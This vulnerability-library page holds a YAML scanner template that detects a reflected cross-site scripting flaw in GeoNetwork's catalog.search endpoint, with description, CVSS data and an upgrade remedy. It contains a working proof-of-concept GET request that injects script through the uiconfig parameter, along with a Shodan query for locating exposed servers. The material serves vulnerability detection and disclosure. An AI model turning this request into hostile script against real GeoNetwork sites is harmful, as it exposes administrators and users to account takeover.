/Vulnerability Library

GeoNetwork - Reflected Cross-Site Scripting

CVE-2026-57582
Early Release

Description

GeoNetwork versions 4.4.5 through 4.4.11 are vulnerable to reflected cross-site scripting (XSS) in the public unauthenticated catalog search functionality. The uiconfig query parameter of the catalog.search endpoint is reflected into a JavaScript context without sufficient sanitization, allowing arbitrary JavaScript execution in a victim's browser.

Severity

High

CVSS Score

8.2

Affected Product

core-geonetwork

Published Date

September 1, 2026

Template Author

dhiyaneshdk

CVE-2026-57582.yaml
id: CVE-2026-57582

info:
  name: GeoNetwork - Reflected Cross-Site Scripting
  author: DhiyaneshDk
  severity: high
  description: |
    GeoNetwork versions 4.4.5 through 4.4.11 are vulnerable to reflected cross-site scripting (XSS) in the public unauthenticated catalog search functionality. The uiconfig query parameter of the catalog.search endpoint is reflected into a JavaScript context without sufficient sanitization, allowing arbitrary JavaScript execution in a victim's browser.
  impact: |
    An unauthenticated attacker can craft a malicious URL that executes arbitrar JavaScript when opened by a victim. If a privileged GeoNetwork user such as an administrator visits the URL, the attacker may perform actions within the security context of that user.
  remediation: |
    Upgrade GeoNetwork to version 4.4.12 or later.
  reference:
    - https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-5pq9-ppfw-p83j
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2026-57582
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: geonetwork
    product: core-geonetwork
    framework: java
    shodan-query: html:"/srv/eng/"
  tags: cve,cve2026,geonetwork,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/srv/eng/catalog.search?uiconfig=%28alert%281%29%2C%7B%7D%29"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "(alert(1),{})"
          - "GnCatController"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"
        case-insensitive: true
# digest: 4a0a00473045022100f3bc6ae228b557059dc9b89c121c58e4c2ce015d2e9f29f2f6e0f0b80809c95c02206d47dac07d7030f07779c67935789ee18d9af0344bda0fb24510e6275f6345d1:922c64590222798bb761d5b6d8e72950
8.2Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
CVE ID:
cve-2026-57582
CWE ID:
cwe-79

References

https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-5pq9-ppfw-p83j

Remediation Steps

Upgrade GeoNetwork to version 4.4.12 or later.